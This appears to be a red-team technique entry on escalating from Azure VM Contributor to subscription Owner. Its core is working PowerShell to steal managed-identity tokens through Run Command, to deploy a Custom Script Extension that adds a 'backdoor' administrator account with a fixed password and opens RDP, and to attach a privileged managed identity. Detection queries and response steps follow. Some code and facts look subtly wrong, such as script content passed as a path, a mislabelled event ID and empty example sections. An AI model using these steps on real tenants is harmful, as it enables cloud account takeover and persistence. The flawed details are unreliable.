MCADDF

[PE-VALID-012]: Azure VM Contributor to Owner

Metadata

Attribute Details
Technique ID PE-VALID-012
MITRE ATT&CK v18.1 T1078.004 - Valid Accounts: Cloud Accounts
Tactic Privilege Escalation
Platforms Entra ID
Severity Critical
CVE N/A (Architectural design flaw in Azure RBAC; mitigated via PIM and conditions)
Technique Status ACTIVE
Last Verified 2025-01-09
Affected Versions All Azure subscriptions with Virtual Machines; all VM types (Windows, Linux, IaaS)
Patched In N/A (No patch; requires organizational hardening via PIM, Conditional Access, and RBAC conditions)
Author SERVTEPArtur Pchelnikau

2. EXECUTIVE SUMMARY

Concept: The Azure Virtual Machine Contributor built-in role is designed to grant permissions to manage virtual machines but explicitly excludes access to the VMs themselves, the storage accounts they use, or the virtual networks they’re connected to. However, the Contributor role includes permissions to execute arbitrary commands on VMs via the Azure Run Command feature (Microsoft.Compute/virtualMachines/runCommand/action) and to manage VM extensions (Microsoft.Compute/virtualMachines/extensions/write), which allow deploying custom scripts. An attacker with Contributor role on a VM can exploit these permissions to: (1) execute commands as SYSTEM (Windows) or root (Linux) on the VM via Run Command, (2) deploy a custom script extension to establish persistent backdoor access, or (3) attach an administrative Managed Identity to the VM and steal its access token to escalate to Owner-level access within the subscription. This creates a direct privilege escalation path from Contributor to Owner without requiring network access to the VM or knowledge of admin credentials.

Attack Surface: Azure Resource Manager (ARM) API endpoints, Azure Portal, Azure CLI/PowerShell, VM Run Command feature, Custom Script Extension deployment, Managed Identity attachment mechanism.

Business Impact: Escalation from Contributor to Owner on subscription scope. An attacker with Contributor role can gain complete control of all resources in the subscription, including: accessing all secrets in Key Vaults, modifying RBAC to create permanent backdoors, creating new resources with elevated managed identities, pivoting to Entra ID Global Admin via service principal creation, or exfiltrating sensitive data from databases and storage accounts.

Technical Context: VM-based privilege escalation occurs with full logging in Azure Activity Log (Event: “Invoke Run Command on Virtual Machine”). Exploitation takes 1-5 minutes once Contributor access is obtained. The attack is reversible (disabling extensions, removing managed identities), but by then secondary persistence mechanisms are typically established. Detection requires real-time alerting on Run Command execution and extension deployment, which many organizations lack.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark 1.1 Ensure that all Azure subscriptions are monitored for unusual activity
DISA STIG AC-2(1) Account Management – Enforce privileged access management
CISA SCuBA CA-7.1 Implement and maintain access controls based on least privilege
NIST 800-53 AC-2 Account Management – Manage information system accounts
GDPR Art. 32(1)(a) Implement appropriate technical measures for data security
DORA Art. 9 Protection and Prevention – Controls against ICT incidents
NIS2 Art. 21(1)(a) Cyber Risk Management – Implement risk management measures
ISO 27001 A.9.2.3 Management of Privileged Access Rights
ISO 27005 Risk Scenario Unauthorized privilege escalation via VM management

3. TECHNICAL PREREQUISITES

Supported Versions:

Required Tools:


4. ENVIRONMENTAL RECONNAISSANCE

Management Station / PowerShell Reconnaissance

Step 1: Identify Virtual Machines with Managed Identities and Contributor Access

# Connect to Azure
Connect-AzAccount

# List all VMs the current user can access (filtered by Contributor role)
Get-AzVM | Where-Object {
    $vmRoles = Get-AzRoleAssignment -Scope $_.Id -ErrorAction SilentlyContinue
    $vmRoles | Where-Object { $_.RoleDefinitionName -contains "Contributor" }
} | Select-Object -Property Name, ResourceGroupName, @{Name='HasManagedIdentity'; Expression={$_.Identity -ne $null}}

# For each VM with managed identity, check the managed identity's roles
Get-AzVM | Where-Object { $_.Identity } | ForEach-Object {
    $vm = $_
    Write-Host "VM: $($vm.Name)"
    
    # Get the managed identity's permissions
    $identityId = $vm.Identity.PrincipalId
    Get-AzRoleAssignment -ObjectId $identityId | Select-Object -Property RoleDefinitionName, Scope
}

What to Look For:

Step 2: Verify Run Command Capability

# Check if the current user has Microsoft.Compute/virtualMachines/runCommand/action permission
$vmResourceId = (Get-AzVM -ResourceGroupName "MyResourceGroup" -Name "MyVM").Id

# Test by listing the current permissions
Get-AzRoleAssignment -Scope $vmResourceId | Where-Object { $_.RoleDefinitionName -eq "Contributor" }

# If the role assignment exists, Run Command capability is available
Write-Host "Run Command is available for this VM"

What to Look For:

Step 3: Enumerate Managed Identities Associated with VM

# Get the VM and check for managed identities
$vm = Get-AzVM -ResourceGroupName "MyResourceGroup" -Name "MyVM"

if ($vm.Identity) {
    Write-Host "VM has managed identity:"
    Write-Host "  Type: $($vm.Identity.Type)"
    
    if ($vm.Identity.Type -contains "UserAssigned") {
        Write-Host "  User-Assigned Identities:"
        foreach ($uamiId in $vm.Identity.UserAssignedIdentities.Keys) {
            Write-Host "    - $uamiId"
            
            # Get the roles assigned to this UAMI
            $uamiPrincipalId = (Get-AzResource -ResourceId $uamiId).ManagedIdentityPrincipalId
            $roles = Get-AzRoleAssignment -ObjectId $uamiPrincipalId
            $roles | ForEach-Object { Write-Host "      Role: $($_.RoleDefinitionName) on $($_.Scope)" }
        }
    }
    
    if ($vm.Identity.Type -contains "SystemAssigned") {
        Write-Host "  System-Assigned Identity (PrincipalId): $($vm.Identity.PrincipalId)"
        $roles = Get-AzRoleAssignment -ObjectId $vm.Identity.PrincipalId
        $roles | ForEach-Object { Write-Host "    Role: $($_.RoleDefinitionName) on $($_.Scope)" }
    }
}

What to Look For:


5. DETAILED EXECUTION METHODS AND THEIR STEPS

METHOD 1: Privilege Escalation via VM Run Command to Owner (Direct)

Supported Versions: All Azure VMs with Contributor access

Step 1: Identify Target VM with Managed Identity

Objective: Select a VM with an Owner-level Managed Identity assigned.

Command (PowerShell):

# Get all VMs with owner-level managed identities
Get-AzVM | Where-Object { $_.Identity } | ForEach-Object {
    $vm = $_
    $identityId = $vm.Identity.PrincipalId
    $roles = Get-AzRoleAssignment -ObjectId $identityId
    
    if ($roles | Where-Object { $_.RoleDefinitionName -eq "Owner" }) {
        Write-Host "Target VM found: $($vm.Name)"
        Write-Host "  Managed Identity has Owner role"
        Write-Host "  ResourceGroup: $($vm.ResourceGroupName)"
    }
}

Expected Output:

Target VM found: production-vm-01
  Managed Identity has Owner role
  ResourceGroup: Production

Step 2: Execute Command on VM as SYSTEM/root via Run Command

Objective: Execute arbitrary commands on the VM with elevated privileges.

Command (PowerShell - Windows VM):

# Execute a PowerShell command that steals the managed identity token
$vm = Get-AzVM -ResourceGroupName "Production" -Name "production-vm-01"

$scriptContent = @'
# Retrieve the managed identity's access token
$token = Invoke-WebRequest -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-09-01&resource=https://management.azure.com/" `
  -Headers @{Metadata="true"} `
  -UseBasicParsing | ConvertFrom-Json

# Save token to a file accessible to the attacker
$token.access_token | Out-File -FilePath "C:\Windows\Temp\msi_token.txt"

Write-Host "Token saved to C:\Windows\Temp\msi_token.txt"
'@

# Execute the script on the VM
$result = Invoke-AzVMRunCommand -ResourceGroupName $vm.ResourceGroupName `
  -Name $vm.Name `
  -CommandId "RunPowerShellScript" `
  -ScriptPath $scriptContent

Write-Host "Run Command Output:"
$result.Value[0].Message

Expected Output:

Run Command Output:
Token saved to C:\Windows\Temp\msi_token.txt

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 3: Authenticate as the Managed Identity Using Stolen Token

Objective: Use the stolen token to authenticate to Azure and assume Owner role on subscription.

Command (PowerShell - from attacker machine):

# Retrieve the token from the VM (exfiltrated via SMB, RDP file transfer, etc.)
$accessToken = Get-Content "C:\stolen_token.txt"

# Parse the token to get subscription info
$jwtParts = $accessToken.Split('.')
$payloadJson = [System.Text.Encoding]::Utf8.GetString([Convert]::FromBase64String($jwtParts[1] + '=='))
$payload = $payloadJson | ConvertFrom-Json

Write-Host "Token claims:"
Write-Host "  Tenant: $($payload.tid)"
Write-Host "  Subject: $($payload.sub)"
Write-Host "  Scopes: $($payload.scp)"

# Authenticate to Azure using the stolen token
Connect-AzAccount -AccessToken $accessToken -Tenant $payload.tid -AccountId $payload.sub

# Verify ownership
Get-AzContext

# Now enumerate and modify resources as Owner
Get-AzSubscription
Get-AzResource | Select-Object -Property Name, Type, ResourceGroupName

Expected Output:

Token claims:
  Tenant: 22222222-2222-2222-2222-222222222222
  Subject: 11111111-1111-1111-1111-111111111111
  Scopes: Reader Contributor User.ReadWrite.All

Name                         Subscription                  Tenant                       Environment
----                         ----                          ------                       -----------
<managed-identity>           <subscription-id>             <tenant-id>                  AzureCloud

METHOD 2: Privilege Escalation via Custom Script Extension

Supported Versions: All Azure VMs

Step 1: Create a Malicious Custom Script Extension

Objective: Deploy a custom script that executes as SYSTEM on the VM and establishes persistence.

Command (PowerShell):

# Prepare the malicious script content
$scriptContent = @'
# This script will be executed as SYSTEM on the VM
Write-Host "Executing as SYSTEM"

# Create a backdoor local admin user (if not already present)
$username = "backdoor"
$password = ConvertTo-SecureString "Backdoor@123!" -AsPlainText -Force

if (-not (Get-LocalUser -Name $username -ErrorAction SilentlyContinue)) {
    New-LocalUser -Name $username -Password $password -FullName "Backdoor User" -Description "Maintenance Account" | Out-Null
    Add-LocalGroupMember -Group "Administrators" -Member $username
    Write-Host "Backdoor user created"
}

# Enable RDP if disabled
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

# Add firewall rule for RDP
New-NetFirewallRule -DisplayName "Allow RDP" -Direction Inbound -LocalPort 3389 -Protocol TCP -Action Allow -Enabled True -ErrorAction SilentlyContinue

Write-Host "RDP enabled and backdoor user configured"
'@

# Save script to a file
$scriptPath = "C:\Temp\malicious_script.ps1"
$scriptContent | Out-File -FilePath $scriptPath

# Get the target VM
$vm = Get-AzVM -ResourceGroupName "Production" -Name "production-vm-01"

# Deploy the custom script extension
Set-AzVMExtension -ResourceGroupName $vm.ResourceGroupName `
  -VMName $vm.Name `
  -Name "CustomScriptExtension" `
  -Publisher "Microsoft.Compute" `
  -ExtensionType "CustomScriptExtension" `
  -TypeHandlerVersion "1.10" `
  -SettingString "{`"fileUris`": [`"file://$scriptPath`"], `"commandToExecute`": `"powershell -ExecutionPolicy Unrestricted -File $scriptPath`"}"

Write-Host "Custom Script Extension deployed"

Expected Output:

Custom Script Extension deployed

What This Means:

OpSec & Evasion:

Step 2: Establish Persistence via Custom Extension

Objective: Use the backdoor admin user to maintain long-term access.

Command (From attacker - RDP to VM):

# Connect via RDP using the backdoor credentials
# mstsc /v:production-vm-01.cloudapp.azure.com /u:backdoor

# Once connected, verify access to the managed identity
Invoke-WebRequest -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-09-01&resource=https://management.azure.com/" `
  -Headers @{Metadata="true"} `
  -UseBasicParsing | ConvertFrom-Json | Select-Object -Property access_token, expires_in

# The token can be exfiltrated for use outside the VM

METHOD 3: Privilege Escalation via Managed Identity Attachment

Supported Versions: All Azure VMs without User-Assigned Managed Identities

Step 1: Identify Administrative User-Assigned Managed Identity

Objective: Find a User-Assigned Managed Identity with Owner or Contributor role.

Command (PowerShell):

# List all User-Assigned Managed Identities with high-privilege roles
Get-AzUserAssignedIdentity | ForEach-Object {
    $uami = $_
    $roles = Get-AzRoleAssignment -ObjectId $uami.PrincipalId
    
    $privilegedRoles = $roles | Where-Object { $_.RoleDefinitionName -in ("Owner", "Contributor", "User Access Administrator") }
    
    if ($privilegedRoles) {
        Write-Host "Privileged UAMI found: $($uami.Name)"
        Write-Host "  Resource Group: $($uami.ResourceGroupName)"
        Write-Host "  Principal ID: $($uami.PrincipalId)"
        $privilegedRoles | ForEach-Object { Write-Host "    Role: $($_.RoleDefinitionName) on $($_.Scope)" }
    }
}

Expected Output:

Privileged UAMI found: prod-automation-identity
  Resource Group: Production
  Principal ID: 11111111-1111-1111-1111-111111111111
    Role: Owner on /subscriptions/12345678-1234-1234-1234-123456789012

Step 2: Attach the Managed Identity to Target VM

Objective: Assign the privileged UAMI to a VM that the attacker has Contributor access to.

Command (PowerShell):

# Get the privileged UAMI resource ID
$uami = Get-AzUserAssignedIdentity -Name "prod-automation-identity" -ResourceGroupName "Production"

# Get the target VM
$vm = Get-AzVM -ResourceGroupName "Production" -Name "production-vm-01"

# Attach the UAMI to the VM
Update-AzVM -ResourceGroupName $vm.ResourceGroupName `
  -VM (Get-AzVM -ResourceGroupName $vm.ResourceGroupName -Name $vm.Name | `
    Add-AzVMUserAssignedIdentity -IdentityId $uami.Id) | Out-Null

Write-Host "Privileged UAMI attached to VM"

# Verify attachment
$updatedVM = Get-AzVM -ResourceGroupName $vm.ResourceGroupName -Name $vm.Name
$updatedVM.Identity.UserAssignedIdentities

Expected Output:

Privileged UAMI attached to VM

Key                                                     Value
---                                                     -----
/subscriptions/.../resourceGroups/Production/providers/Microsoft.ManagedIdentity/userAssignedIdentities/prod-automation-identity   Microsoft.Azure.Management.Compute.Models.UserAssignedIdentitiesValue

What This Means:

Step 3: Steal the Attached UAMI Token

Objective: Execute commands on the VM to steal the newly attached UAMI’s access token.

Command (PowerShell - Run Command on VM):

# Use Run Command to execute code that steals the Owner-level token
$scriptContent = @'
# Query IMDS for the Owner-level UAMI token
$token = Invoke-WebRequest -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-09-01&resource=https://management.azure.com/" `
  -Headers @{Metadata="true"} `
  -UseBasicParsing | ConvertFrom-Json

Write-Host "Owner-level token obtained:"
Write-Host $token.access_token
'@

Invoke-AzVMRunCommand -ResourceGroupName "Production" `
  -Name "production-vm-01" `
  -CommandId "RunPowerShellScript" `
  -ScriptPath $scriptContent

Expected Output:

Owner-level token obtained:
eyJhbGciOiJSUzI1NiIsImtpZCI6IjEyMzQ1Njc4OTAiLCJ0eXAiOiJKV1QifQ...

6. ATTACK SIMULATION & VERIFICATION

This technique does not map to Atomic Red Team. Verification requires:

  1. Test Environment Setup:
    • Create an Azure VM with Contributor RBAC role assigned.
    • Optionally, attach an Owner-level Managed Identity to the VM.
    • Execute Methods 1-3 to verify privilege escalation paths.
  2. Detection Verification:
    • Enable Azure Activity Log monitoring and Sentinel rules.
    • Execute privilege escalation methods.
    • Verify that Run Command execution, Extension creation, and Managed Identity attachment generate alerts.

7. TOOLS & COMMANDS REFERENCE

Az PowerShell Module

Official Documentation: Azure PowerShell - Virtual Machines

Version: 9.0+ (Latest: 11.x)

Key Commands for VM Privilege Escalation:

Get-AzVM                                          # List VMs
Get-AzRoleAssignment -Scope $vmId                # Check VM permissions
Invoke-AzVMRunCommand                            # Execute commands on VM
Set-AzVMExtension                                # Deploy custom script extension
Get-AzVMExtension                                # List VM extensions
Update-AzVM -VM ... Add-AzVMUserAssignedIdentity # Attach managed identity

Azure CLI

Key Commands for VM Privilege Escalation:

az vm run-command invoke -g <RG> -n <VM> --command-id RunPowerShellScript --scripts "command"  # Execute command
az vm extension set --publisher Microsoft.Compute --name CustomScriptExtension --resource-group <RG> --vm-name <VM>  # Deploy extension
az vm identity assign -g <RG> -n <VM> --identities "<UAMI_ID>"  # Attach UAMI

MicroBurst

Repository: NetSPI/MicroBurst

Installation:

Import-Module .\MicroBurst.psm1

Key Commands:

Invoke-AzureManagedIdentityRoleEnumeration    # Enumerate MI roles
Invoke-AzureVMBulkStatus                      # Check VM status/permissions
Get-AzureRMVMRole                             # Identify VM with privileged roles

8. MICROSOFT SENTINEL DETECTION

Query 1: VM Run Command Execution (Privilege Escalation Detection)

Rule Configuration:

KQL Query:

// Detect VM Run Command execution, especially from non-admin accounts
AzureActivity
| where OperationNameValue == "Microsoft.Compute/virtualMachines/runCommand/action"
| where ActivityStatusValue == "Succeeded"
| extend CallerUserName = tostring(CallerIpAddress)
| extend VMName = tostring(todynamic(Properties).resource)
| extend SubscriptionId = tostring(SubscriptionId)
| extend CallerPrincipalId = tostring(CallerIpAddress)
| summarize Count = count(), FirstExecution = min(TimeGenerated), LastExecution = max(TimeGenerated) 
            by Caller, VMName, SubscriptionId, ResourceGroup
| where Count >= 1  // Alert on every Run Command execution (or adjust threshold)
| order by FirstExecution desc

What This Detects:

Query 2: Custom Script Extension Deployment (Persistence Detection)

Rule Configuration:

KQL Query:

// Detect Custom Script Extension creation or modification
AzureActivity
| where OperationNameValue in ("Microsoft.Compute/virtualMachines/extensions/write", 
                               "Microsoft.Compute/virtualMachines/extensions/create",
                               "Microsoft.ClassicCompute/virtualMachines/extensions/write")
| where ActivityStatusValue == "Succeeded"
| extend ExtensionType = tostring(todynamic(Properties).extensionType)
| extend VMName = tostring(todynamic(Properties).resource)
| where ExtensionType == "CustomScriptExtension"
| summarize by TimeGenerated, Caller, VMName, ResourceGroup, OperationNameValue

What This Detects:

Query 3: Managed Identity Attachment to VM

Rule Configuration:

KQL Query:

// Detect when a Managed Identity is attached to a VM
AzureActivity
| where OperationNameValue == "Microsoft.Compute/virtualMachines/write"
    and tostring(Properties) contains "identity"
| extend VMName = tostring(todynamic(Properties).resource)
| extend IdentityId = tostring(todynamic(Properties).identity)
| summarize by TimeGenerated, Caller, VMName, IdentityId, ResourceGroup
// Correlate with high-privilege identity roles for escalation detection

What This Detects:


9. WINDOWS EVENT LOG MONITORING

Event ID 4625 & 4624 (Failed/Successful Logons - For Backdoor Access Detection)

Log Source: Security

Trigger: Failed RDP login attempts followed by successful access using newly created account (e.g., “backdoor”)

Filter: LogonType = 10 (RDP) and AccountName = “backdoor”

Manual Configuration Steps (Group Policy):

  1. Open Group Policy Management Console (gpmc.msc)
  2. Navigate to Computer ConfigurationPoliciesWindows SettingsSecurity SettingsAdvanced Audit Policy ConfigurationDetailed Tracking
  3. Enable Audit Logon (Success and Failure)
  4. Set to: Success and Failure
  5. Run gpupdate /force on VMs

Event ID 4697 (Security policy changed - UAC/Firewall rule addition)

Log Source: Security

Trigger: New firewall rule creation (for RDP access); UAC policy changes

Filter: Target account = “backdoor” or Rule name contains “RDP”


10. MICROSOFT DEFENDER FOR CLOUD

Alert: Suspicious VM Run Command Execution

Alert Name: Suspicious script execution detected on virtual machine

Severity: High

Description: A user with Contributor (not Admin) role executed an arbitrary script on a VM, potentially indicating privilege escalation.

Applies To: All VMs with Defender for Servers enabled

Remediation:

  1. Navigate to Azure PortalMicrosoft Defender for CloudSecurity alerts
  2. Click on alert to view details
  3. Determine legitimacy:
    • Is the user authorized to execute scripts on this VM?
    • Is the script content legitimate or suspicious?
  4. If malicious:
    • Stop the VM: Stop-AzVM -ResourceGroupName <RG> -Name <VM>
    • Isolate from network (remove network adapter)
    • Collect forensics (VM snapshot, disk copy)
    • Remove any backdoor accounts created by the script
    • Redeploy VM from clean image

11. MICROSOFT PURVIEW (UNIFIED AUDIT LOG)

Query: VM Run Command and Extension Changes

# Search for Run Command and Extension creation events
Search-UnifiedAuditLog -Operations "Invoke Run Command on Virtual Machine", "Create or Update Virtual Machine Extension" `
  -StartDate (Get-Date).AddDays(-7) -EndDate (Get-Date) |
  Select-Object @{n='User';e={$_.UserIds}}, @{n='Operation';e={$_.Operations}}, `
  @{n='Timestamp';e={$_.CreationDate}}, @{n='Resource';e={$_.ObjectId}} |
  Export-Csv -Path "C:\Incident\vm_activity.csv"

12. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH


13. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate:
    • Immediately stop the compromised VM: Stop-AzVM -ResourceGroupName <RG> -Name <VM>
    • Remove the VM from load balancers and remove network access
    • Disconnect managed identities if they have escalated privileges

    Command (PowerShell):

    # Stop VM
    Stop-AzVM -ResourceGroupName "Production" -Name "production-vm-01" -Force
       
    # Disconnect all managed identities
    $vm = Get-AzVM -ResourceGroupName "Production" -Name "production-vm-01"
    $vm.Identity.UserAssignedIdentities.Clear()
    Update-AzVM -ResourceGroupName $vm.ResourceGroupName -VM $vm
    
  2. Collect Evidence:
    • Create a snapshot of the VM disk for forensic analysis
    • Export Azure Activity Log for 7-30 days

    Command (PowerShell):

    # Create disk snapshot for forensics
    $vm = Get-AzVM -ResourceGroupName "Production" -Name "production-vm-01"
    $disk = Get-AzDisk -ResourceGroupName $vm.ResourceGroupName -DiskName "$($vm.StorageProfile.OsDisk.Name)"
       
    $snapshotConfig = New-AzSnapshotConfig -SourceUri $disk.Id -CreateOption Copy -Location $disk.Location
    New-AzSnapshot -ResourceGroupName "Incident-Response" -SnapshotName "forensic-snapshot-$(Get-Date -Format 'yyyyMMddHHmmss')" -Snapshot $snapshotConfig
       
    # Export Activity Log
    Get-AzLog -StartTime (Get-Date).AddDays(-30) | Export-Csv -Path "C:\Incident\activity_log.csv"
    
  3. Remediate:
    • Remove backdoor admin users created on the VM
    • Revoke the compromised Contributor role from the user/principal
    • Restore VM from a clean backup or redeploy
    • Reset credentials for any accounts that may have been compromised

    Command (PowerShell):

    # Remove backdoor accounts (if still running)
    Invoke-AzVMRunCommand -ResourceGroupName "Production" -Name "production-vm-01" `
      -CommandId "RunPowerShellScript" `
      -ScriptPath 'Remove-LocalUser -Name "backdoor" -Confirm:$false'
       
    # Revoke compromised Contributor role
    Get-AzRoleAssignment -Scope "/subscriptions/<SUBID>" | Where-Object { $_.RoleDefinitionName -eq "Contributor" -and $_.DisplayName -eq "compromised-user" } | Remove-AzRoleAssignment
    

Step Phase Technique Description
1 Initial Access [IA-PHISH-001] Device Code Phishing Attacker phishes user for Entra ID credentials
2 Privilege Escalation [PE-VALID-012] Escalate from Contributor to Owner via Run Command or UAMI attachment
3 Persistence [PE-ACCTMGMT-001] App Registration Permissions Escalation Create backdoor service principal for long-term access
4 Data Exfiltration [CA-UNSC-007] Azure Key Vault Secret Extraction Dump all secrets from Key Vaults
5 Lateral Movement [LM-AUTH-005] Service Principal Key/Certificate Escalate to Entra ID Global Admin via service principal

15. REAL-WORLD EXAMPLES

Example 1: Praetorian - VM Command Execution for Privilege Escalation (2025)

Example 2: NetSPI - Custom Script Extension Persistence (2025)

Example 3: Mandiant - VM Run Command for Ransomware Deployment (2025)


16. COMPLIANCE & REGULATORY CONTEXT

This technique directly violates:

Organizations must enforce PIM, restrict Run Command permissions, and implement real-time alerting to maintain compliance.


17. REFERENCES & AUTHORITATIVE SOURCES

  1. Microsoft Learn: Azure RBAC Built-in Roles
  2. Microsoft Learn: Virtual Machine Run Command Documentation
  3. Praetorian: Azure RBAC Privilege Escalations - Azure VM
  4. NetSPI: Custom Script Extension Exploitation
  5. Mandiant: Azure Run Command for Dummies
  6. MITRE ATT&CK: T1078.004 Valid Accounts - Cloud Accounts
  7. Azure Threat Research Matrix: Privilege Escalation
  8. PwnedLabs: Diving Deep into Azure VM Attack Vectors
  9. Cloud Brothers: Azure Attack Paths
  10. Stratus Red Team: Custom Script Extension Execution